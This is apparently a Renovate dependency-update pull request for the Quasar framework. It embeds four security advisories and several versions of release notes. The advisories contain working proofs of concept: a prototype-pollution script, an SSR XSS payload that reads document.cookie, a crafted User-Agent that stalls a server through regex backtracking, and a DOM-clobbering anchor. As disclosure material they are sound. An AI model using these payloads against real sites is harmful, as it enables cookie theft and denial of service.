fix(deps): update dependency quasar to v2.32.2 #2

Open
renovate-bot wants to merge 1 commit from renovate/quasar-2.x into master
Collaborator

This PR contains the following updates:

Package Change Age Confidence
quasar (source) 2.11.10 → 2.32.2 age confidence

Quasar: Prototype pollution in the extend() utility

CVE-2026-73647 / GHSA-3r53-75j5-3g7j

More information

Details

Summary

quasar@2.20.1, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public extend() utility exported from the package root.

When extend(true, target, source) is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as __proto__, constructor, or prototype.

This can allow attacker-controlled properties to be written to Object.prototype.

Details

Affected source:

src/utils/extend/extend.js

Distributed files include:

dist/quasar.server.prod.js
dist/quasar.server.prod.cjs
dist/quasar.client.js

The package root publicly exports extend. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own __proto__ property, the merge can descend into the prototype object and assign attacker-controlled properties onto Object.prototype.

PoC
rm -rf /tmp/quasar-extend-pp-poc
mkdir /tmp/quasar-extend-pp-poc
cd /tmp/quasar-extend-pp-poc

npm init -y >/dev/null
npm install quasar@2.20.1 vue@3.5.31 >/dev/null

cat > hack.mjs <<'JS'
import { extend } from 'quasar';

delete Object.prototype.polluted;

extend(true, {}, {
  ['__proto__']: {
    polluted: 'yes'
  }
});

console.log(({}).polluted);

delete Object.prototype.polluted;
JS

node ./hack.mjs

Observed output:

yes

Expected output:

undefined
Impact

This is a prototype pollution vulnerability.

If an application passes user-controlled or partially user-controlled objects into extend(true, ...), an attacker may be able to pollute Object.prototype in the same JavaScript process.

Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact.

Suggested Fix

Reject or safely ignore dangerous keys before assignment, including:

__proto__
prototype
constructor

The merge implementation should also avoid descending into prototype-related properties during recursive merge.

Severity

  • CVSS Score: 5.6 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Quasar Framework: Stored/Reflected XSS via unescaped SSR meta tag rendering in getHead()

CVE-2026-106102 / GHSA-pq96-jpmf-w254

More information

Details

Vulnerability Details

File: ui/src/utils/meta/Meta.js — actually ui/src/plugins/meta/Meta.js (lines 149-176: getAttr() and getHead())
Sink: injectServerMeta() (same file) → ctx.headTags += getHead(data), interpolated verbatim into the raw HTTP response <head> by the production SSR template (app-vite/templates/entry/ssr-prod-webserver.js + app-vite/lib/plugins/vite.html.js)
Entry point: the public useMeta() composable (ui/src/composables/use-meta/use-meta.js) — the single documented way apps set page title/meta/link/script tags

Root Cause

getHead() is Quasar's SSR-only serializer that turns the meta/link/script/title data collected from every useMeta() call into a literal HTML string, using plain template-literal interpolation with zero HTML-entity escaping and zero attribute-quote escaping:

function getAttr(seed) {
  return att => {
    const val = seed[att]
    return att + (val !== true && val !== void 0 ? `="${val}"` : '')
  }
}

function getHead(meta) {
  let output = ''
  if (meta.title) {
    output += `<title>${meta.title}</title>`
  }
  ...
}

Contrast this with the client-side equivalent, apply() (same file, used only in the browser post-hydration), which builds the same tags via document.createElement(...) + tag.setAttribute(att, val) — the browser DOM API automatically escapes attribute values, so the client-side path is not vulnerable. getHead() is a separate, parallel implementation for the SSR case that never received the same protection.

Any string containing </title>, ", or > in a title, meta.*.content, link.*.href, or any other attribute value passed to useMeta() breaks out of its intended HTML context and injects arbitrary markup — including a live <script> tag — directly into the raw HTML response sent to every visitor.

Attack Scenario
  1. A Quasar SSR application renders dynamic page metadata via the standard, documented useMeta() pattern — e.g. useMeta(() => ({ title: post.title, meta: { description: { name: 'description', content: post.excerpt } } })) for a blog/CMS/product page.
  2. An attacker who can influence that underlying text (submit a blog post/comment, set their own profile display name, control a field in an integrated CMS/API) sets it to My Post</title><script>alert(document.cookie)</script>.
  3. On every SSR render of that page — for every visitor — getHead() emits this payload unescaped directly into the <head> of the raw HTML response.
  4. The victim's browser parses the HTML top-to-bottom; the injected <script> executes immediately, before hydration, with full access to document.cookie and the DOM.
Impact
  • Type: CWE-79 Cross-Site Scripting
  • Auth required: No (attacker only needs to influence any text that reaches useMeta() — an extremely common pattern, e.g. blog titles, product names, user display names)
  • Consequence: Full client-side script execution in the victim site's origin — session/cookie theft, credential phishing overlays, account takeover, defacement. Unlike a typical XSS bug requiring a specific unusual injection point, this affects the single most common useMeta() use case (rendering any dynamic title/description), so it can be triggered even by ordinary content containing &, <, or " without malicious intent, in addition to being trivially exploitable deliberately.
Vulnerable Code (ui/src/plugins/meta/Meta.js lines 149-176)
function getAttr(seed) {
  return att => {
    const val = seed[att]
    return att + (val !== true && val !== void 0 ? `="${val}"` : '')
  }
}

function getHead(meta) {
  let output = ''
  if (meta.title) {
    output += `<title>${meta.title}</title>`
  }
  ;['meta', 'link', 'script'].forEach(type => {
    const metaType = meta[type]
    for (const att in metaType) {
      const attrs = Object.keys(metaType[att])
        .filter(item => item !== 'innerHTML')
        .map(getAttr(metaType[att]))
      output += `<${type} ${attrs.join(' ')} data-qmeta="${att}">`
      if (type === 'script') {
        output += (metaType[att].innerHTML || '') + '</script>'
      }
    }
  })
  return output
}
function escapeHtml(val) {
  return String(val)
    .replaceAll('&', '&amp;')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;')
    .replaceAll('"', '&quot;')
}

function getAttr(seed) {
  return att => {
    const val = seed[att]
    return att + (val !== true && val !== void 0 ? `="${escapeHtml(val)}"` : '')
  }
}

function getHead(meta) {
  let output = ''
  if (meta.title) {
    output += `<title>${escapeHtml(meta.title)}</title>`
  }
  // ... rest unchanged, script innerHTML intentionally left raw (JSON-LD use case)
}
Verification

Confirmed end-to-end on v2.21.1 via a local Node.js HTTP lab harness that imports the real, unmodified Meta.js source and reproduces the exact useMeta() → injectServerMeta() call sequence a real SSR app performs, reached via actual curl requests (not just isolated function calls):

  1. POST /submit with {"title":"My Post</title><script>alert(document.cookie)</script>","description":"\"><script>alert(document.domain)</script>"}
  2. GET /render/1 returned a raw HTTP response whose <head> contained: <title>My Post</title><script>alert(document.cookie)</script></title><meta name="description" content=""><script>alert(document.domain)</script>" data-qmeta="description">
  3. Verified via grep: 0 occurrences of &lt; (nothing was escaped), 1 occurrence of a literal, unescaped <script>alert(...)</script> tag in the actual HTTP response body.

A fix branch (fix/xss-meta-tag-escaping) is ready with the minimal patch above (adds an escapeHtml() helper used in getAttr()/getHead()); re-running the same PoC against the patched code shows the payload fully HTML-entity-encoded (&lt;script&gt;...) with no live <script> tag, while normal titles containing & still render correctly (&amp;).

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server

CVE-2026-106104 / GHSA-68jq-fhch-4xq4

More information

Details

Summary

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

Platform.parseSSR = ssrContext => {
  const ua =
    ssrContext.req.headers['user-agent'] ||
    ssrContext.req.headers['User-Agent'] ||
    ''

  return { ...client, userAgent: ua, is: getPlatform(ua) }
}

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded .* scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first .* lands on" against "how far the second .* searches for safari". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA   3998 B  ->      554 ms
UA   7998 B  ->     4368 ms      fits nginx default large_client_header_buffers 8k
UA  15998 B  ->    34995 ms      fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From node_modules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
  ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
               return{...F,userAgent:t,is:P(t)}};

Build the header:

const k = 3200                       // filler that maximises the greedy capture
const m = 479                        // "version/" tokens for the first .* to land on
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m)   // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

import http from 'node:http'
import { Platform } from 'quasar'          // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => {
  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does
  res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)
}).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA
  benign UA, GET /                       status=200        13 ms
  benign UA, GET / (2nd)                 status=200         1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length
  same-size benign UA                    status=200         2 ms

[3] POSITIVE - crafted User-Agent
  malicious UA, GET /                    status=200      4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route
  malicious UA, GET /404path             status=200      4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later
  attacker (malicious UA)                status=200      4329 ms
  VICTIM (normal browser, benign UA)     status=200      4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site
  VICTIM during 5-request flood          status=200     21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed node_modules/quasar/dist/quasar.server.prod.js:

-  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms
[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms
[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms
[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)
[3] malicious UA, GET /                  status=200      4354 ms
[5] VICTIM (normal browser, benign UA)   status=200      4269 ms
[6] VICTIM during 5-request flood        status=200     21872 ms
[2] same-size benign UA (7998 B)         status=200         2 ms
Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Quasar Framework: DOM Clobbering in Quasar openURL() SafariViewController Integration Causes Client-Side Denial of Service

CVE-2026-106101 / GHSA-89vp-x45c-52cq

More information

Details

Summary

A DOM Clobbering vulnerability exists in Quasar's openURL() utility when handling the iOS SafariViewController bridge.

The vulnerable implementation only checks whether window.SafariViewController exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as <a id="SafariViewController"> can cause the browser to expose that element as window.SafariViewController.

When openURL() is later called in an iOS environment, Quasar incorrectly treats the DOM element as the native bridge object and attempts to invoke bridge methods that do not exist, resulting in:

TypeError: window.SafariViewController.isAvailable is not a function

This can cause client-side denial of service and break navigation-related workflows in Quasar applications.

Details

Quasar provides the openURL() utility to open external URLs. On iOS platforms, this utility supports integration with the native SafariViewController bridge.

The vulnerable code is located in:

ui/src/utils/open-url/open-url.js

The affected logic is:

if (Platform.is.ios && window.SafariViewController !== void 0) {
  window.SafariViewController.isAvailable(available => {
    if (available) {
      window.SafariViewController.show({ url }, noop, reject)
    }
  })
}

The issue is that Quasar only verifies that window.SafariViewController is not undefined. It does not verify whether the value is the expected native bridge object or whether required methods such as isAvailable() and show() are valid functions.

Modern browsers expose elements with specific id or name attributes as properties of the global window object. Therefore, attacker-controlled HTML such as:

<a id="SafariViewController"></a>

can cause:

window.SafariViewController

to resolve to an HTMLAnchorElement instead of the expected native bridge object.

When Quasar later executes:

window.SafariViewController.isAvailable(...)

the DOM element is incorrectly treated as the bridge object, causing:

TypeError: window.SafariViewController.isAvailable is not a function

The root cause is insufficient validation of browser-controlled global properties before using them as trusted native bridge objects.

The vulnerability was verified through the Quasar QEditor rendering path. When attacker-controlled HTML content is rendered into the DOM and creates the SafariViewController named element, subsequent calls to openURL() fail.

Additional component-level affected paths were identified in QSelect and QChatMessage when applications enable HTML rendering features and provide attacker-controlled content. These paths require specific application configurations and were not used as the primary end-to-end reproduction.

PoC
Steps to reproduce
  1. Render attacker-controlled HTML content through a Quasar HTML rendering component such as QEditor.
  2. Insert the following payload:
<a id="SafariViewController" href="#bridge">
  SafariViewController
</a>
  1. Verify that the browser exposes the element as a global property:
window.SafariViewController

The value resolves to the injected DOM element instead of the expected native bridge object.

  1. Trigger a normal workflow that invokes:
openURL('https://example.com')
  1. Observe the browser console output:
TypeError: window.SafariViewController.isAvailable is not a function

The URL opening workflow fails because Quasar attempts to invoke native bridge methods on the DOM element.

The same underlying issue can also affect other HTML rendering paths such as QSelect and QChatMessage when attacker-controlled HTML is rendered and the application later calls openURL().

Impact

This vulnerability is a client-side DOM Clobbering and type confusion issue affecting Quasar applications that use the iOS SafariViewController integration. An attacker who can control HTML content rendered into the application DOM may cause Quasar's openURL() functionality to fail by replacing the expected native bridge object with a DOM element through browser named property resolution.

Potentially affected workflows include external URL navigation, OAuth/login redirects, help or documentation links, payment flows, third-party service redirects, and other application actions that rely on URL opening functionality.

The confirmed impact is client-side denial of service and navigation or workflow disruption. When the vulnerable condition is triggered, Quasar throws an exception while attempting to invoke methods on the clobbered SafariViewController object, preventing the expected URL opening behavior.

Severity

  • CVSS Score: 3.1 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

quasarframework/quasar (quasar)

v2.32.2

Compare Source

Security fixes

  • fix(openURL): DOM clobbering of the iOS SafariViewController bridge -> on iOS, attacker-controlled HTML rendered into the page (a <a id="SafariViewController"> through QEditor, or QSelect / QChatMessage with HTML rendering enabled) shadowed the native bridge global, so every later openURL() call threw TypeError: window.SafariViewController.isAvailable is not a function and the URL never opened. openURL() now hands the URL to the bridge only when it exposes the expected isAvailable() and show() functions, and opens a regular window otherwise (GHSA-89vp-x45c-52cq)

Fixes

  • fix(types): framework.config.globalNodes -> the option has been honored since #​8634 (it sets the CSS class of the nodes Quasar appends to <body> for portals, Notify, Loading and LoadingBar) but was never declared in QuasarUIConfiguration, so a typed quasar.config file or app.use(Quasar, { config: { globalNodes } }) rejected it. It is typed now, with its class member documented

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.32.1

Compare Source

Changes

  • fix(QExpansionItem): group with several items opened on mount -> two or more items of the same group that both start with model-value: true (or default-opened) threw on mount since v2.32.0 and were left with every body visible under a collapsed header. The group sibling that has to close is now settled closed before its content element is ready, with after-hide emitted as usual (#​18547)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.32.0

Compare Source

[!IMPORTANT]
Behavior changes worth checking before you upgrade:

  • QImg now renders its <img> into the SSR/SSG HTML whenever the box shape is known (ratio, initial-ratio or height set), instead of waiting for hydration. The markup a crawler or a no-JS client sees changes accordingly. Images with none of the three keep deferring to the client, unless you opt in with the new ssr-prerender prop.
  • The .q-responsive__filler element no longer exists, and neither does QImg's filler node: the ratio now sits on the component root through CSS aspect-ratio. A QVideo with an explicit width resolves its ratio against that width instead of the parent's, and a QResponsive inside a height-clamped parent keeps its ratio by narrowing rather than squishing its content (Chromium and Firefox; WebKit keeps the previous full-width box).
  • QExpansionItem and QTree no longer render a QSlideTransition around their content; they drive the slide on the content element themselves, so the two extra component instances per item (per tree node) are gone from the tree. Their duration prop is now a real Number prop on the component itself rather than a passthrough to the child.
  • On Chromium, QSlideTransition, QExpansionItem, QTree and the vertical QStep no longer write inline height/transition styles while sliding: the slide runs as a Web Animation over a calc-size(auto, size) keyframe. Only overflow-y is written during the slide. Firefox and Safari keep the previous measuring CSS transition unchanged.
  • QInput autogrow textareas are sized by the browser through CSS field-sizing: content where it is supported (Chromium 123+, Safari 26+), so no inline height/overflow styles appear on the textarea any more and a max-height scrolls natively. Older engines keep the JS measuring fallback.
  • QParallax registers no scroll or resize listener and no IntersectionObserver where it can ride a view timeline (currently everything but Firefox). The scroll event and the content slot scope still work, but they are what forces the JS tracking back on, so use the slot only where you need its scope.

New

  • feat(QImg): render the image in the SSR HTML; new prop -> ssr-prerender -> until now QImg only set the image source once the client had mounted, so under SSR/SSG the browser started fetching it after the JS bundle had downloaded and the app had hydrated: the preload scanner never saw it, crawlers and no-JS clients got an empty box, and any hero image behind QImg was a late LCP by construction. The server and the pre-hydration client now render the <img> themselves, visible from the first paint like a native image, with the placeholder underneath; on mount the component reconciles against the element it finds instead of trusting load events, so an image that finished before hydration still goes through the regular load (or error) path. Only images whose box shape is known (ratio, initial-ratio or height) are server-rendered by default, since otherwise the box would visibly snap from the default ratio to the natural one at hydration; the new ssr-prerender Boolean prop opts the rest in
  • feat(QDrawer): pan event with the stage of the swipe gestures -> the swipe-to-open and swipe-to-close gestures ran silently: an app could only learn that the drawer had opened or closed after the fact, through the model and the show/hide events, never that a swipe was in progress, so content mounted on open only came in once the drawer had already been dragged fully into view and the swipe itself showed an empty panel. QDrawer now emits pan with the gesture type ('open' or 'close') and its stage: 'start' once the pan is detected, 'end' when it crossed the threshold and show()/hide() ran, 'cancel' when the finger let go short of it and the drawer sprang back
  • feat(QParallax): refresh() method -> everything the component settles at mount (the scrolling container and the way the media is moved along it, the media size, the position) was only re-checked on the events it listens to, so an ancestor changing its overflow, a media swapped without a load event or a scroll-target that only appears later left it stale with no way to tell it so. refresh() re-runs all three

Other

  • perf(QParallax): the media moves on a view timeline where the browser has one -> the media now rides an Element.animate() on a ViewTimeline of the component root wherever the API exists and nothing scrollable sits between the root and its scroll target. The browser then moves it on its own thread, in step with the scroll whatever the main thread is doing, where the JS tracking wrote its transform a frame behind (one scroll step off in every other compositor frame) and stalled together with the main thread; the keyframes carry the exact numbers the JS tracking used, so the movement itself is unchanged. On that path the component registers no scroll or resize listener and no IntersectionObserver at all, the tracking being created only where the scroll event or the content slot needs the percentage, and there it reads the timeline's own progress instead of measuring. Firefox, and any layout the timeline cannot express (an overflow: hidden wrapper, a scroll-target that is not the nearest scroll container), keep the JS tracking, itself now measuring once per frame instead of once per scroll event. The media is also no longer left hidden until the first measurement, and a media without a natural size yet no longer measures a display: none box
  • perf(QSlideTransition): slide on a Web Animation where calc-size() is supported -> the height slide (so QExpansionItem, QTree and the vertical QStep) measured the content on every toggle, one scrollHeight read on show and two on hide, each forcing a layout: toggling N nodes in one tick (QTree expand/collapse all, filtering) forced N layouts on show and 2N on hide. Where the engine sizes a calc-size(auto, size) keyframe at layout (Chromium 129+) the slide is now an Element.animate() between 0 and that keyframe: no measurement, no forced layout, the height tracked live while sliding, and an interrupted slide of a kept element played backwards. Engines without calc-size() keep the measuring CSS transition, untouched. Chromium 153 headless, 200 boxes toggled in one tick: forced layouts on show 219 -> 20 and on hide 418 -> 19, layout time 13.7ms -> 8.4ms and 22.2ms -> 6.3ms
  • perf(QExpansionItem/QTree): slide the content directly, without QSlideTransition -> both components own their content element and its visibility, so the QSlideTransition + Transition pair per item (two component instances, per tree node) only relayed the slide hooks to a v-show. They now call the slide engine on the element themselves. Chromium 153 headless, a QTree with 780 nodes (155 parents) mounted expanded, median of 12 mounts: 43.1ms -> 32.3ms
  • perf(QInput): size autogrow textareas with CSS field-sizing where supported -> autogrow textareas now get field-sizing: content and skip the JS measuring routine entirely on browsers that implement the property: no rAF layout thrash per keystroke, no inline height/overflow writes, no scrollTop juggling, and the browser handles a max-height with native scrolling. Browsers below the property's floor (Chromium before 123, Safari before 26) keep the routine, which also coalesces to one measurement per frame now (a keystroke used to schedule two) and cancels a pending frame when autogrow turns off or the component unmounts. Height parity between the two paths was verified in Chromium, Firefox and WebKit across plain, labeled, outlined, filled, dense, max-height and custom font-size cases
  • refactor(ui): size QImg, QResponsive and QVideo ratio boxes with CSS aspect-ratio -> the padding-bottom percentage hack needed a dedicated filler element in QImg and QResponsive (plus a width-inheriting wrapper in the latter) and a zero-height root in QVideo. aspect-ratio is under the Baseline floor, so the ratio now sits on the root element itself and those nodes are gone: one element fewer per QImg, two fewer per QResponsive. See the note at the top
  • perf(use-position-engine): resolve the CSS anchor verdict once at import -> a QMenu or QTooltip setup now reads a boolean constant instead of calling into a cached support probe

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.31.0

Compare Source

[!IMPORTANT]
Behavior changes worth checking before you upgrade:

  • A readonly QInput/QSelect/QFile/QField now reflects focus: it shows the focused styling (highlight, floated label, hide-hint hint), emits focus/blur and validates on blur with lazy-rules. Only disable now exempts a field from counting as focused, matching the existing rule that only disable exempts it from validation.
  • config.dark: 'auto' resolves again on SSR/SSG apps, on the client once it takes over. It has silently been a plain light false since v2.18.2. The first paint stays light (the server cannot know the preference), so the documented cookie approach remains the way to a flash-free page.
  • The fa and fa-IR language packs render Persian digits in QDate, QTime and QPagination, through the new root-level formatNumber pack key.
  • QStepper's horizontal DOM lost its .q-panel.scroll wrapper element; its classes moved onto .q-stepper__step-content, now a direct descendant of .q-stepper__step.
  • The q-transition--field-message-* classes no longer exist. Restyle a QField message swap through .q-field__messages--animated instead; the leave half of the animation (the old message fading out under the new one) is gone.

New

  • feat(QColor): palette slot, and the picker is fully keyboard-accessible -> the palette view had no way to be customized: swatches were plain divs, laid out 10 per row, reachable by pointer only. The new scoped palette slot replaces the default swatches while keeping the other views and the view switcher, handing over the resolved colors (palette), a select(color) function and an editable flag. The default swatches become buttons following the roving tabindex pattern (arrows move, Up/Down by one visual row, Home/End jump to the edges, Enter/Space picks), and the spectrum panel, the last pointer-only part of the picker, becomes a WAI-ARIA slider over its two axes: arrows step the saturation and the brightness by one, ten with Shift, Home/End and PageUp/PageDown jump. Both follow the visual direction in RTL, both draw a two-tone inset focus ring that stays visible on any color, and the spectrum spells out its value through two new lang-pack keys, colorPicker.saturation and colorPicker.brightness, translated across every pack (#​8613)
  • feat(ui): shadow colors are CSS custom properties -> since v2.11 the elevation shadows are drawn with a light color while in Dark Mode, but the color was baked into the built CSS through the $shadow-color/$dark-shadow-color Sass variables, so the UMD build, the Vite plugin and every other prebuilt-CSS flavour had no way to revert or tune it short of restyling each component. Both colors are now declared on :root as --q-shadow-color and --q-dark-shadow-color, with the Sass variables as their defaults so existing Sass overrides keep working. Nothing moves by a pixel out of the box, and the pre-v2.11 look is a one-liner (body.body--dark { --q-dark-shadow-color: #&#8203;000 }); transparent removes the shadows altogether. The tints are derived on body, so the tokens are read at the :root/body level (a body.body--dark rule, setCssVar()), not on a deeper element (#​15144)
  • feat(Lang): formatNumber pack key, localized digits in QDate, QTime and QPagination -> a Persian calendar coupled with the fa-IR pack showed Persian month names next to Western day numbers, with no way to change that short of a font that remaps the ASCII digit glyphs. Language packs (and the locale prop) can now define an optional root-level formatNumber(value), which receives the ASCII digit string the component would display, zero-padded where it is padded ("5", "05", "1403"), and returns the localized rendering. QDate routes its day cells, navigation year, years grid, header title and subtitle, the "N days" count and the day buttons' aria-label through it, QTime its header units and clock face, QPagination its page buttons and their aria-label. Model strings, date hashes and QTime's stringModel stay ASCII. The fa and fa-IR packs opt in; every other pack is unchanged (#​12735)
  • feat(QTable): autoWidth in the column definition -> shrinking a column to its content required a per-column header-cell and body-cell slot override with <q-th auto-width>/<q-td auto-width>, cumbersome for dynamically built columns, the only alternative being an undocumented class through classes and headerClasses. A column can now simply declare autoWidth: true, which applies to the auto-rendered cells as well as to QTh/QTd fed with the slot props (#​8206)

Fixes

  • fix(QMenu/QDialog): the portal opening over a closing one takes the focus -> a QMenu item or a QDialog button carrying v-close-popup that opens a dialog made the two portals compete for focus, and the closing one won on both counts: the dialog opened without focus in its autofocus field (on Android the soft keyboard never showed), and it had captured, as the element to return focus to, an element inside the closing portal, destroyed with it, so closing the dialog dropped focus altogether. A portal closing while another one sits on top of it in its opening transition now hands its own anchor to the opener instead of restoring focus itself; portals that take no focus (no-focus, hover-shown menus) or that are already fully open decline the hand-off, so everything else is unchanged (#​8211)
  • fix(QField): a readonly field reflects focus like a native readonly control -> the focused state was gated on the field being editable, so a focus event landing while readonly was still true got dropped and nothing re-synced afterwards: a handler flipping readonly off and calling focus() in the same tick left the input holding DOM focus with the field unfocused, label resting over the caret. The gate itself was the problem, not its timing, since a readonly control stays in the tab order and a keyboard user tabbing onto it got no visible focus indication at all. The focused state now mirrors DOM focus, only disable keeping a field from counting as focused. See the note at the top (#​16056)
  • fix(QField): forward focus from the control slot wrapper to the control -> with a control slot, autofocus, focus() and every other way of focusing the field (QForm/QDialog/QMenu autofocus, clearValue, a click around the control) landed on the q-field__native wrapper: the field looked focused and emitted focus, but the slotted control never received the caret. The wrapper now forwards any focus it receives to the element bound to the slot scope id, else to the first focusable element of the slot, and keeps it only when the slot holds nothing focusable (#​12648)
  • fix(QField): no more one compositor layer per field on Chromium -> every QField label carried backface-visibility: hidden, which Chromium answers with a permanent compositor layer per label. With a few hundred fields on a page each hover repaint re-runs the layer assignment pass against all of those interleaved layers and it goes quadratic: on the reported layout (100 rows x 5 labelled number inputs) headless Chromium held ~22 fps with 50-67 ms frames while native inputs held 60. The rule dates from the Qv1 stylesheets with no recorded purpose and the settled label renders pixel-identical without it. Measured after: 6 composited layers instead of 461, ~65 ms of Layerize per hover sweep instead of ~1.7 s (#​16024)
  • fix(QSelect): typed text wins over the model's automatic highlight on Enter -> opening the list (and every filter completion) highlights the option mirroring the current value. With new-value-mode/@new-value, Enter or Tab then re-selected that option and silently dropped the text the user had just typed, @new-value never being emitted. The highlight now remembers whether it was placed automatically or by the user, and only the automatic one yields to typed text under new-value mode: navigated or hovered options still win, fill-input's filled-in label is not user text so Enter right after opening still re-selects, and selects without new-value mode never consult it (#​16514)
  • fix(QStepper): the steps stay mounted across an orientation switch -> a stepper bound to $q.screen (:vertical="$q.screen.lt.sm") lost the active step's content, form state included, whenever the viewport crossed the breakpoint, and keep-alive could not bridge it either, the two orientations rendering different trees with two different caches. Both orientations now render every QStep under .q-stepper__content, with one plain Transition per step driving the vertical height slide and the horizontal slide alike. keep-alive-max, which the vertical mode never honoured, is now counted by the stepper itself, and the stepper's transition-duration also drives the vertical slides (default unchanged). See the note at the top (#​9703)
